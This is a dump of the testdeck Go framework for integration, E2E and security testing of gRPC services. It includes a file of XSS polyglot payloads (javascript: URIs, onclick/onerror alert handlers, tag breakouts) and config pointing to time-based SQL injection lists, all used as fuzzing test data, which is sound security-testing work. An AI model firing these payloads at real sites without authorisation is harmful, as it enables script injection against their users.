├── payloads ├── input_validation │ ├── booleans.txt │ ├── integers.txt │ ├── floats.txt │ └── testdata.json ├── sql_injection │ ├── testdata.json │ └── Generic_TimeBased.txt └── xss │ ├── testdata.json │ ├── XSS_Polyglots.txt │ ├── XSSDetection.txt │ └── IntrudersXSS.txt ├── docs ├── images │ ├── sec.png │ ├── concept.png │ ├── metrics.png │ ├── lifecycle.png │ └── reporting.png ├── e2e_testing_guide.md ├── utility_methods.md ├── files.md ├── reporting_metrics.md ├── fuzzer.md ├── setup.md ├── intruder.md ├── sec_testing_guide.md └── introduction.md ├── .github └── PULL_REQUEST_TEMPLATE.md ├── service ├── unit_tests │ ├── service_test.go │ ├── success │ │ └── success_test.go │ └── stats │ │ └── stats_test.go ├── integration.go ├── integration_test.go ├── controller │ └── controller.go ├── config │ ├── config.go │ └── config_test.go └── db │ ├── db_test.go │ └── db.go ├── runner ├── event_writer.go ├── exit.go ├── example │ └── testmain_test.go ├── log.go ├── deps.go ├── runner_test.go └── runner.go ├── go.mod ├── deferrer ├── deferrer.go └── deferrer_test.go ├── fname ├── fname.go └── fname_test.go ├── grpcutils └── grpcutils.go ├── LICENSE ├── constants └── constants.go ├── README.md ├── intruder ├── testdata_helper_test.go ├── testdata_helper.go └── intruder.go ├── go.sum ├── httputils ├── httputils.go ├── multipart_form.go └── multipart_form_test.go ├── demo ├── err_handling_test.go └── demo_test.go ├── exec_test.go ├── fuzzer └── fuzzer.go ├── harness.go └── harness_test.go /payloads/input_validation/booleans.txt: -------------------------------------------------------------------------------- 1 | true 2 | false -------------------------------------------------------------------------------- /docs/images/sec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mercari/testdeck/HEAD/docs/images/sec.png -------------------------------------------------------------------------------- /docs/images/concept.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mercari/testdeck/HEAD/docs/images/concept.png -------------------------------------------------------------------------------- /docs/images/metrics.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mercari/testdeck/HEAD/docs/images/metrics.png -------------------------------------------------------------------------------- /docs/images/lifecycle.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mercari/testdeck/HEAD/docs/images/lifecycle.png -------------------------------------------------------------------------------- /docs/images/reporting.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mercari/testdeck/HEAD/docs/images/reporting.png -------------------------------------------------------------------------------- /payloads/input_validation/integers.txt: -------------------------------------------------------------------------------- 1 | 0 2 | 10 3 | -1 4 | 9223372036854775807 5 | -9223372036854775808 -------------------------------------------------------------------------------- /.github/PULL_REQUEST_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | Please read the CLA carefully before submitting your contribution to Mercari. Under any circumstances, by submitting your contribution, you are deemed to accept and agree to be bound by the terms and conditions of the CLA. 2 | 3 | https://www.mercari.com/cla/ -------------------------------------------------------------------------------- /payloads/sql_injection/testdata.json: -------------------------------------------------------------------------------- 1 | { 2 | "string": [ 3 | { 4 | "files": [ 5 | "../payloads/sql_injection/Generic_TimeBased.txt" 6 | ], 7 | "type": "sql injection", 8 | "expected": { 9 | "timeDelay": 1 10 | } 11 | } 12 | ] 13 | } -------------------------------------------------------------------------------- /payloads/xss/testdata.json: -------------------------------------------------------------------------------- 1 | { 2 | "string": [ 3 | { 4 | "files": [ 5 | "../payloads/xss/IntrudersXSS.txt", 6 | "../payloads/xss/XSS_Polyglots.txt", 7 | "../payloads/xss/XSSDetection.txt" 8 | ], 9 | "type": "reflected xss", 10 | "expected": { 11 | "errorMessage": "" 12 | } 13 | } 14 | ] 15 | } -------------------------------------------------------------------------------- /service/unit_tests/service_test.go: -------------------------------------------------------------------------------- 1 | package unit_tests 2 | 3 | import ( 4 | "os" 5 | "testing" 6 | 7 | "github.com/mercari/testdeck" 8 | "github.com/mercari/testdeck/service" 9 | ) 10 | 11 | func TestMain(m *testing.M) { 12 | os.Exit(service.Start(m)) 13 | } 14 | 15 | func TestStub(t *testing.T) { 16 | testdeck.Test(t, &testdeck.TestCase{ 17 | Act: func(t *testdeck.TD) { 18 | t.Log("pass!") 19 | }, 20 | }) 21 | } 22 | -------------------------------------------------------------------------------- /runner/event_writer.go: -------------------------------------------------------------------------------- 1 | package runner 2 | 3 | /* 4 | event_writer.go: A custom event logger used for writing test result output 5 | */ 6 | 7 | type eventWriter struct { 8 | runner Runner 9 | } 10 | 11 | func NewEventWriter(runner Runner) *eventWriter { 12 | return &eventWriter{ 13 | runner: runner, 14 | } 15 | } 16 | 17 | func (e *eventWriter) Write(p []byte) (n int, err error) { 18 | e.runner.LogEvent(string(p)) 19 | return len(p), nil 20 | } -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/mercari/testdeck 2 | 3 | go 1.18 4 | 5 | require ( 6 | github.com/google/gofuzz v1.2.0 7 | github.com/kelseyhightower/envconfig v1.4.0 8 | github.com/pkg/errors v0.9.1 9 | github.com/stretchr/testify v1.7.1 10 | ) 11 | 12 | require ( 13 | github.com/davecgh/go-spew v1.1.1 // indirect 14 | github.com/kr/pretty v0.1.0 // indirect 15 | github.com/pmezard/go-difflib v1.0.0 // indirect 16 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 // indirect 17 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect 18 | ) 19 | -------------------------------------------------------------------------------- /service/unit_tests/success/success_test.go: -------------------------------------------------------------------------------- 1 | package success 2 | 3 | import ( 4 | "github.com/mercari/testdeck/service" 5 | "os" 6 | "testing" 7 | 8 | "github.com/mercari/testdeck" 9 | "github.com/mercari/testdeck/service/db" 10 | ) 11 | 12 | func TestMain(m *testing.M) { 13 | os.Exit(service.Start(m, service.ServiceOptions{ 14 | // make test code easier by shutting down immediately after one run 15 | RunOnceAndShutdown: true, 16 | })) 17 | } 18 | 19 | func TestStub(t *testing.T) { 20 | db.GuardProduction(t) 21 | testdeck.Test(t, &testdeck.TestCase{ 22 | Act: func(t *testdeck.TD) { 23 | t.Log("stub should pass") 24 | }, 25 | }) 26 | } 27 | -------------------------------------------------------------------------------- /deferrer/deferrer.go: -------------------------------------------------------------------------------- 1 | package deferrer 2 | 3 | /* 4 | deferrer.go: Helper functions for building the defer stack (to force test steps to run in order) 5 | */ 6 | 7 | type Deferrer interface { 8 | Defer(fn func()) 9 | RunDeferred() 10 | } 11 | 12 | type DefaultDeferrer struct { 13 | deferStack []func() 14 | } 15 | 16 | // Pushes a function info the defer stack to run later 17 | func (d *DefaultDeferrer) Defer(fn func()) { 18 | d.deferStack = append(d.deferStack, fn) 19 | } 20 | 21 | // Run deferred functions in LIFO order 22 | func (d *DefaultDeferrer) RunDeferred() { 23 | for i := len(d.deferStack) - 1; i >= 0; i-- { 24 | d.deferStack[i]() 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /payloads/input_validation/floats.txt: -------------------------------------------------------------------------------- 1 | 0.0 2 | -0.5 3 | 0.123 4 | 1.05050 5 | 179769313486231570814527423731704356798070567525844996598917476803157260780028538760589558632766878171540458953514382464234321326889464182768467546703537516986049910576551282076245490090389328944075868508455133942304583236903222948165808559332123348274797826204144723168738177180919299881250404026184124858368.000000 6 | -179769313486231570814527423731704356798070567525844996598917476803157260780028538760589558632766878171540458953514382464234321326889464182768467546703537516986049910576551282076245490090389328944075868508455133942304583236903222948165808559332123348274797826204144723168738177180919299881250404026184124858368.000000 -------------------------------------------------------------------------------- /fname/fname.go: -------------------------------------------------------------------------------- 1 | package fname 2 | 3 | import ( 4 | "regexp" 5 | "runtime" 6 | ) 7 | 8 | /* 9 | fname.go: A fname function that returns the name of the current function. Currently this is only used in unit tests but may be useful in other cases as well 10 | */ 11 | 12 | // optionalLevel is the level of nesting (may be specified if you are nesting fname in other utility methods) 13 | func Fname(optionalLevel ...int) string { 14 | level := 0 15 | if len(optionalLevel) > 0 { 16 | level = optionalLevel[0] 17 | } 18 | pc := make([]uintptr, 1) 19 | runtime.Callers(2+level, pc) 20 | fs := runtime.CallersFrames(pc) 21 | frame, _ := fs.Next() 22 | 23 | re := regexp.MustCompile(`\w+$`) 24 | fname := []byte(frame.Func.Name()) 25 | return string(re.Find(fname)) 26 | } 27 | -------------------------------------------------------------------------------- /fname/fname_test.go: -------------------------------------------------------------------------------- 1 | package fname 2 | 3 | import ( 4 | "github.com/stretchr/testify/assert" 5 | "testing" 6 | ) 7 | 8 | func Test_Fname_ShouldReturnFuncName(t *testing.T) { 9 | // Arrange 10 | 11 | // Act 12 | fn := Fname() 13 | 14 | // Assert 15 | assert.Equal(t, t.Name(), fn) 16 | } 17 | 18 | func Test_Fname_ShouldReturnParentLevelFuncName(t *testing.T) { 19 | // Arrange 20 | 21 | // Act 22 | fn := func() string { 23 | return Fname(1) 24 | }() 25 | 26 | // Assert 27 | assert.Equal(t, t.Name(), fn) 28 | } 29 | 30 | func Test_Fname_ShouldReturnGrandParentLevelFuncName(t *testing.T) { 31 | // Arrange 32 | 33 | // Act 34 | fn := func() string { 35 | return func() string { 36 | return Fname(2) 37 | }() 38 | }() 39 | 40 | // Assert 41 | assert.Equal(t, t.Name(), fn) 42 | } 43 | -------------------------------------------------------------------------------- /payloads/input_validation/testdata.json: -------------------------------------------------------------------------------- 1 | { 2 | "string": [ 3 | { 4 | "files": [ 5 | "../payloads/input_validation/strings.txt" 6 | ], 7 | "type": "input validation", 8 | "expected": { 9 | "errorMessage": "" 10 | } 11 | } 12 | ], 13 | "int": [ 14 | { 15 | "files": [ 16 | "../payloads/input_validation/integers.txt" 17 | ], 18 | "type": "input validation", 19 | "expected": { 20 | "errorMessage": "" 21 | } 22 | } 23 | ], 24 | "float": [ 25 | { 26 | "files": [ 27 | "../payloads/input_validation/floats.txt" 28 | ], 29 | "type": "input validation", 30 | "expected": { 31 | "errorMessage": "" 32 | } 33 | } 34 | ], 35 | "bool": [ 36 | { 37 | "files": [ 38 | "../payloads/input_validation/booleans.txt" 39 | ], 40 | "type": "input validation", 41 | "expected": { 42 | "errorMessage": "" 43 | } 44 | } 45 | ] 46 | } -------------------------------------------------------------------------------- /grpcutils/grpcutils.go: -------------------------------------------------------------------------------- 1 | package grpc 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "reflect" 7 | ) 8 | 9 | /* 10 | grpc_helper.go: Helper methods for testing gRPC endpoints 11 | */ 12 | 13 | // Calls a grpc method by its name. Returns the response in generic form. 14 | // client: The grpc client to use 15 | // methodName: The name of the method to call 16 | // req: The request casted to generic interface{} 17 | // returns the response casted to generic interface{} and error 18 | func CallRpcMethod(ctx context.Context, client interface{}, methodName string, req interface{}) (interface{}, error) { 19 | var err error 20 | m := reflect.ValueOf(client).MethodByName(methodName) 21 | in := []reflect.Value{reflect.ValueOf(ctx), reflect.ValueOf(req)} 22 | res := m.Call(in) 23 | 24 | // most rpc methods return two items (response and error) but check the length in case 25 | if len(res) != 2 { 26 | return nil, fmt.Errorf("expected 2 return items but got %d", len(res)) 27 | } 28 | 29 | if res[1].Interface() != nil { 30 | err = res[1].Interface().(error) 31 | } 32 | 33 | return res[0].Interface(), err 34 | } 35 | -------------------------------------------------------------------------------- /runner/exit.go: -------------------------------------------------------------------------------- 1 | // Copyright 2020 The Go Authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | package runner 6 | 7 | import "sync" 8 | 9 | // PanicOnExit0 reports whether to panic on a call to os.Exit(0). 10 | // This is in the testlog package because, like other definitions in 11 | // package testlog, it is a hook between the testing package and the 12 | // os package. This is used to ensure that an early call to os.Exit(0) 13 | // does not cause a test to pass. 14 | func PanicOnExit0() bool { 15 | panicOnExit0.mu.Lock() 16 | defer panicOnExit0.mu.Unlock() 17 | return panicOnExit0.val 18 | } 19 | 20 | // panicOnExit0 is the flag used for PanicOnExit0. This uses a lock 21 | // because the value can be cleared via a timer call that may race 22 | // with calls to os.Exit 23 | var panicOnExit0 struct { 24 | mu sync.Mutex 25 | val bool 26 | } 27 | 28 | // SetPanicOnExit0 sets panicOnExit0 to v. 29 | func SetPanicOnExit0(v bool) { 30 | panicOnExit0.mu.Lock() 31 | defer panicOnExit0.mu.Unlock() 32 | panicOnExit0.val = v 33 | } -------------------------------------------------------------------------------- /service/unit_tests/stats/stats_test.go: -------------------------------------------------------------------------------- 1 | package success 2 | 3 | import ( 4 | "github.com/mercari/testdeck/service" 5 | "os" 6 | "testing" 7 | "time" 8 | 9 | "github.com/stretchr/testify/assert" 10 | 11 | "github.com/mercari/testdeck" 12 | "github.com/mercari/testdeck/runner" 13 | "github.com/mercari/testdeck/service/db" 14 | "github.com/stretchr/testify/require" 15 | ) 16 | 17 | func TestMain(m *testing.M) { 18 | os.Exit(service.Start(m, service.ServiceOptions{ 19 | // make test code easier by shutting down immediately after one run 20 | RunOnceAndShutdown: true, 21 | })) 22 | } 23 | 24 | func TestStatistics(t *testing.T) { 25 | db.GuardProduction(t) 26 | wantPause := time.Millisecond * 10 27 | testdeck.Test(t, &testdeck.TestCase{ 28 | Act: func(t *testdeck.TD) { 29 | time.Sleep(wantPause) 30 | t.Log("stub should pass") 31 | }, 32 | }) 33 | 34 | r := runner.Instance(nil) 35 | stats := r.Statistics() 36 | require.Equal(t, 1, len(stats)) 37 | assert.NotNil(t, stats[0].Start) 38 | assert.NotNil(t, stats[0].End) 39 | assert.True(t, stats[0].Duration.Nanoseconds() > wantPause.Nanoseconds()) 40 | } 41 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Mercari, Inc. 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /runner/example/testmain_test.go: -------------------------------------------------------------------------------- 1 | package example 2 | 3 | import ( 4 | "encoding/json" 5 | "flag" 6 | "fmt" 7 | "github.com/mercari/testdeck/runner" 8 | "testing" 9 | 10 | "github.com/mercari/testdeck" 11 | ) 12 | 13 | const pass = false // set to false to force the test to fail 14 | var printTestOutput = flag.Bool("printTestOutput", false, "print normal Go test output to STDOUT") 15 | 16 | func TestMain(m *testing.M) { 17 | flag.Parse() 18 | r := runner.Instance(m) 19 | r.PrintToStdout(*printTestOutput) 20 | r.Match("Stub") 21 | r.Run() 22 | stats, err := json.Marshal(r.Statistics()) 23 | if err != nil { 24 | panic(err) 25 | } 26 | fmt.Println(string(stats)) 27 | } 28 | 29 | func Test_RunnerStub(t *testing.T) { 30 | testdeck.Test(t, &testdeck.TestCase{ 31 | Act: func(t *testdeck.TD) { 32 | if pass { 33 | t.Log("I will pass") 34 | } else { 35 | t.Log("I will fail") 36 | t.Error("fail requested") 37 | } 38 | }, 39 | }) 40 | } 41 | 42 | func Test_AnotherPassingStub(t *testing.T) { 43 | testdeck.Test(t, &testdeck.TestCase{ 44 | Act: func(t *testdeck.TD) { 45 | t.Log("passing stub") 46 | }, 47 | }) 48 | } 49 | 50 | func Test_AnotherFailingStub(t *testing.T) { 51 | testdeck.Test(t, &testdeck.TestCase{ 52 | Act: func(t *testdeck.TD) { 53 | t.Error("failing stub") 54 | }, 55 | }) 56 | } 57 | -------------------------------------------------------------------------------- /deferrer/deferrer_test.go: -------------------------------------------------------------------------------- 1 | package deferrer_test 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/mercari/testdeck/deferrer" 7 | "github.com/stretchr/testify/assert" 8 | ) 9 | 10 | func Test_DefaultDeferrer_Once(t *testing.T) { 11 | // Arrange 12 | ran := false 13 | fn := func() { 14 | ran = true 15 | } 16 | d := deferrer.DefaultDeferrer{} 17 | d.Defer(fn) 18 | 19 | // Act 20 | d.RunDeferred() 21 | 22 | // Assert 23 | assert.Equal(t, true, ran) 24 | } 25 | 26 | func Test_DefaultDeferrer_None(t *testing.T) { 27 | // Arrange 28 | d := deferrer.DefaultDeferrer{} 29 | 30 | // Act 31 | d.RunDeferred() 32 | 33 | // Assert 34 | } 35 | 36 | func Test_DefaultDeferrer_ShouldRunThreeTimes(t *testing.T) { 37 | // Arrange 38 | count := 0 39 | times := 3 40 | fn := func() { 41 | count++ 42 | } 43 | d := deferrer.DefaultDeferrer{} 44 | for i := 0; i < times; i++ { 45 | d.Defer(fn) 46 | } 47 | 48 | // Act 49 | d.RunDeferred() 50 | 51 | // Assert 52 | assert.Equal(t, times, count) 53 | } 54 | 55 | func Test_DefaultDeferrer_ShouldExecuteInReverseOrder(t *testing.T) { 56 | // Arrange 57 | order := []int{} 58 | d := deferrer.DefaultDeferrer{} 59 | d.Defer(func() { 60 | order = append(order, 1) 61 | }) 62 | d.Defer(func() { 63 | order = append(order, 2) 64 | }) 65 | d.Defer(func() { 66 | order = append(order, 3) 67 | }) 68 | 69 | // Act 70 | d.RunDeferred() 71 | 72 | // Assert 73 | assert.Equal(t, []int{3, 2, 1}, order) 74 | } 75 | -------------------------------------------------------------------------------- /constants/constants.go: -------------------------------------------------------------------------------- 1 | package constants 2 | 3 | import "time" 4 | 5 | /* 6 | constants.go: Contains constants and struct definitions 7 | */ 8 | 9 | // Test case status 10 | const ( 11 | StatusFail = "Fail" 12 | StatusPass = "Pass" 13 | StatusSkip = "Skip" 14 | ) 15 | 16 | // Test case stages 17 | const ( 18 | LifecycleTestSetup = "FrameworkTestSetup" 19 | LifecycleArrange = "Arrange" 20 | LifecycleAct = "Act" 21 | LifecycleAssert = "Assert" 22 | LifecycleAfter = "After" 23 | LifecycleTestFinished = "FrameworkTestFinished" 24 | ) 25 | 26 | // Status stores the lifecycle stage and test status 27 | type Status struct { 28 | Status string 29 | Lifecycle string 30 | Fatal bool 31 | } 32 | 33 | // Timing stores the start, end, and duration of a lifecycle stage 34 | type Timing struct { 35 | Lifecycle string 36 | Start time.Time 37 | End time.Time 38 | Duration time.Duration 39 | Started bool 40 | Ended bool 41 | } 42 | 43 | // Statistics are the test results that will be saved to the DB 44 | type Statistics struct { 45 | Name string 46 | Failed bool 47 | Fatal bool 48 | Statuses []Status 49 | Timings map[string]Timing 50 | Start time.Time 51 | End time.Time 52 | Duration time.Duration 53 | Output string 54 | } 55 | 56 | const DefaultHttpTimeout = time.Second * 30 // default HTTP client timeout 57 | 58 | // test result constants 59 | const ( 60 | ResultPass = "PASS" 61 | ResultFail = "FAIL" 62 | ) 63 | -------------------------------------------------------------------------------- /docs/e2e_testing_guide.md: -------------------------------------------------------------------------------- 1 | # E2E/Integration Testing Guide 2 | 3 | ## Using the Testdeck Lifecycle 4 | 5 | Testdeck test cases are divided into four "lifecycle" stages. You do not have to use all stages; you can just use the ones that you need (i.e. if you do not require any setup, there is no need to declare Arrange in your test case). 6 | 7 | - Arrange: This is the setup stage. If you need to create test data, login to a test account, etc. you should put that code here. 8 | - Act: This is the actual testing stage. Here, you should call the endpoint that you want to test. 9 | - Assert: This is the verification stage. Here, you should add assertion statements to verify that the response returned in the Act stage matches what you expect. 10 | - After: This is the cleanup stage. If you want to do anything after the test (e.g. restore data back to original state, delete data, etc.) you should put that code here. 11 | 12 | ![Testdeck Lifecycle Stages](images/lifecycle.png?raw=true) 13 | 14 | ## Debugging Failed Test Cases 15 | 16 | Please see the [Reporting and Metrics](https://github.com/mercari/testdeck/blob/master/docs/reporting_metrics.md) doc for more tips on how to debug. 17 | 18 | ## Types of Test Cases 19 | 20 | ### Testing "Happy Path" 21 | These are the success cases- scenarios where the user's behavior is expected and normal. All services should cover this type of test for all endpoints. 22 | 23 | ### Testing Error Cases 24 | These are the failure cases- scenarios where the user does something strange and unexpected, so a handled error should return. It is recommended that you cover this type of test for all possible errors. 25 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Testdeck 2 | 3 | Testdeck is a framework for integration, end-to-end (E2E), and security testing of gRPC microservices written in Golang. 4 | 5 | Please see the [docs](https://github.com/mercari/testdeck/blob/master/docs/introduction.md) folder for documentation and tutorials. 6 | 7 | # Features 8 | 9 | - Integration/E2E testing for gRPC microservices written in Golang 10 | - Fuzz testing of gRPC endpoints (using [google/gofuzz](https://github.com/google/gofuzz)) 11 | - Injection of malicious payloads (from [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)), similar to Burpsuite's Intruder function 12 | - Utility methods for gRPC/HTTP requests 13 | - Connecting a debugging proxy such as Charles or Burpsuite to analyze, modify, replay, etc. requests 14 | 15 | # How to Use 16 | 17 | As with all test automation frameworks, you will most likely need to do some customization and fine-tuning to tailor this tool for your organization. It is recommended that you clone this repository and build on top of it to suit your needs. 18 | 19 | To learn how to build your own test automation system using Testdeck, please see the [setup guide](https://github.com/mercari/testdeck/blob/master/docs/setup.md) and the blog article. 20 | 21 | # Contribution 22 | 23 | Please read the CLA carefully before submitting your contribution to Mercari. Under any circumstances, by submitting your contribution, you are deemed to accept and agree to be bound by the terms and conditions of the CLA. 24 | 25 | https://www.mercari.com/cla/ 26 | 27 | # License 28 | 29 | Copyright 2020 Mercari, Inc. 30 | 31 | Licensed under the MIT License. 32 | -------------------------------------------------------------------------------- /docs/utility_methods.md: -------------------------------------------------------------------------------- 1 | # Utility Methods 2 | 3 | ## grpcutils 4 | 5 | Call a grpc method by passing the following parameters into `CallRpcMethod`: 6 | - context 7 | - grpc client of the service 8 | - name of the method to call 9 | - the request body 10 | 11 | ``` 12 | var req = &pb.SayRequest{MessageId: "test", MessageBody: "test"} 13 | 14 | res, err := grpc.CallRpcMethod(context.TODO(), echoClient, "Say", req) 15 | ``` 16 | 17 | 18 | ## httputils 19 | 20 | Features: 21 | - send HTTP requests 22 | - build a multipart form from a struct 23 | - connect a debugging proxy such as Charles or Burpsuite to intercept traffic for analysis, modification, replay, etc. 24 | 25 | Send a HTTP request by passing the following parameters into `SendHTTPRequest()`: 26 | - the HTTP method (POST, GET, etc.) 27 | - URL 28 | - json body of the request 29 | 30 | ``` 31 | var headers = map[string]string{ 32 | "Authorization": apiClient.MatToken, 33 | "Content-Type": constants.JsonContentType, 34 | } 35 | 36 | var body, _ = json.Marshal(map[string]string{ 37 | "message_id": "test", 38 | "message_body": "test", 39 | }) 40 | 41 | res, _, err = tdhttp.SendHTTPRequest(http.MethodPost, httpUrl, bytes.NewBuffer(body), headers) 42 | if err != nil { 43 | t.Fatalf("An unexpected failure occurred: %s", err.Error()) 44 | } 45 | ``` 46 | 47 | For examples of how to make a multipart form from a struct (to use in HTTP requests), please see the httputils unit tests. 48 | 49 | To connect a debugging proxy such as Charles or Burpsuite, simply add the following line of code to the beginning of your test case or to the testing main method: 50 | 51 | ``` 52 | ConnectToProxy("http://:") 53 | ``` -------------------------------------------------------------------------------- /payloads/xss/XSS_Polyglots.txt: -------------------------------------------------------------------------------- 1 | jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/\x3e 2 | ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-->">'> 3 | “ onclick=alert(1)//"><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg"> 5 | javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/* 6 | javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a 7 | javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/ 8 | javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/* 9 | javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/* 10 | javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()// 11 | javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/* 12 | --></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/* 13 | /</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/* 14 | javascript://--></title></style></textarea></script><svg "//' onclick=alert()// 15 | /</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/* 16 | -------------------------------------------------------------------------------- /intruder/testdata_helper_test.go: -------------------------------------------------------------------------------- 1 | package intruder 2 | 3 | import ( 4 | "github.com/stretchr/testify/assert" 5 | "testing" 6 | ) 7 | 8 | func Test_ParseInputValidationJson(t *testing.T) { 9 | data, err := ParseInputValidationTestDataFromJson("../payloads/input_validation/testdata.json") 10 | if err != nil { 11 | t.Fatalf("Failed to parse input validation testdata data from json file, got %s", err.Error()) 12 | } 13 | 14 | assert.NotNil(t, data) 15 | } 16 | 17 | func Test_ReadStringsFromTextFile(t *testing.T) { 18 | strings, err := GetStringArrayFromTextFile("../payloads/input_validation/strings.txt") 19 | if err != nil { 20 | t.Fatalf("Failed to read from text file, got %s", err.Error()) 21 | } 22 | 23 | assert.NotNil(t, strings, "Failed to create string array from text file") 24 | } 25 | 26 | func Test_ReadIntsFromTextFile(t *testing.T) { 27 | ints, err := GetIntArrayFromTextFile("../payloads/input_validation/integers.txt") 28 | if err != nil { 29 | t.Fatalf("Failed to read from text file, got %s", err.Error()) 30 | } 31 | 32 | assert.NotNil(t, ints, "Failed to create int array from text file") 33 | } 34 | 35 | func Test_ReadFloatsFromTextFile(t *testing.T) { 36 | ints, err := GetFloatArrayFromTextFile("../payloads/input_validation/floats.txt") 37 | if err != nil { 38 | t.Fatalf("Failed to read from text file, got %s", err.Error()) 39 | } 40 | 41 | assert.NotNil(t, ints, "Failed to create float array from text file") 42 | } 43 | 44 | func Test_ReadBoolsFromTextFile(t *testing.T) { 45 | ints, err := GetBoolArrayFromTextFile("../payloads/input_validation/booleans.txt") 46 | if err != nil { 47 | t.Fatalf("Failed to read from text file, got %s", err.Error()) 48 | } 49 | 50 | assert.NotNil(t, ints, "Failed to create bool array from text file") 51 | } 52 | -------------------------------------------------------------------------------- /docs/files.md: -------------------------------------------------------------------------------- 1 | # Explanation of Files 2 | 3 | - constants 4 | - constants.go: Contains constants and data struct definitions 5 | - deferrer 6 | - deferrer.go: Contains the defer stack that forces lifecycle steps to execute in order 7 | - demo 8 | - demo_test.go: Style guide for writing Testdeck test cases 9 | - err_handling_test.go: Examples for how to handle errors in test cases 10 | - fname 11 | - fname.go: A helper method for getting the name of the current function 12 | - fuzzer 13 | - fuzzer.go: Contains the fuzzing feature 14 | - grpcutils 15 | - grpcutils.go: Utility methods for use when testing grpc methods 16 | - httputils 17 | - httputils.go: Utility methods for use when testing http methods 18 | - multipart_form.go: Utility methods for converting structs to multipart forms 19 | - intruder 20 | - intruder.go: Contains the intruder feature 21 | - testdata_helper.go: Helper methods for formatting test data for use with the intruder 22 | - runner 23 | - example: Contains sample tests 24 | - deps.go: Copied from [go/testing/internal/testdeps/deps.go](https://github.com/golang/go/blob/master/src/testing/internal/testdeps/deps.go) 25 | - log.go: Copied from [go/log.go](https://github.com/golang/go/blob/master/src/log/log.go) 26 | - runner.go: Contains a customized version of [go/testing](https://github.com/golang/go/blob/master/src/testing/testing.go)'s Runner 27 | - payloads: Contains test data files for injecting malicious payloads (payload text files are taken from [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)) 28 | - service 29 | - config: Configuration for the rpc service created for testing 30 | - controller: Contains methods for controlling the test run (test execution, logging, etc.) 31 | - db: Contains sample code for saving test results to a DB (this is only to serve as an example, your DB schema may be different) 32 | - integration.go: Stands up a GRPC microservice and starts running tests 33 | - harness.go: A wrapper around [go/testing](https://github.com/golang/go/blob/master/src/testing/testing.go)'s testing.T -------------------------------------------------------------------------------- /service/integration.go: -------------------------------------------------------------------------------- 1 | package service 2 | 3 | import ( 4 | "fmt" 5 | "testing" 6 | 7 | "github.com/mercari/testdeck/runner" 8 | "github.com/mercari/testdeck/service/config" 9 | "github.com/mercari/testdeck/service/controller" 10 | "github.com/mercari/testdeck/service/db" 11 | "github.com/pkg/errors" 12 | ) 13 | 14 | /* 15 | service.go: Stands up a GRPC microservice to run tests on 16 | */ 17 | 18 | var Env *config.Env 19 | 20 | // Test service only contains a Start() method to stand up the service, and a test runner 21 | type Service interface { 22 | Start(opt ...ServiceOptions) int 23 | Runner() runner.Runner 24 | } 25 | 26 | // Controller allows the service to control the test run 27 | type ServiceImpl struct { 28 | controller controller.Controller 29 | } 30 | 31 | // Creates a testdeck runner 32 | func (s *ServiceImpl) Runner() runner.Runner { 33 | return s.controller.Runner() 34 | } 35 | 36 | // Additional configurations to pass as params 37 | type ServiceOptions struct { 38 | RunOnceAndShutdown bool 39 | } 40 | 41 | func init() { 42 | var err error 43 | Env, err = config.ReadFromEnv() 44 | if err != nil { 45 | panic(errors.Wrap(err, "Could not read environment 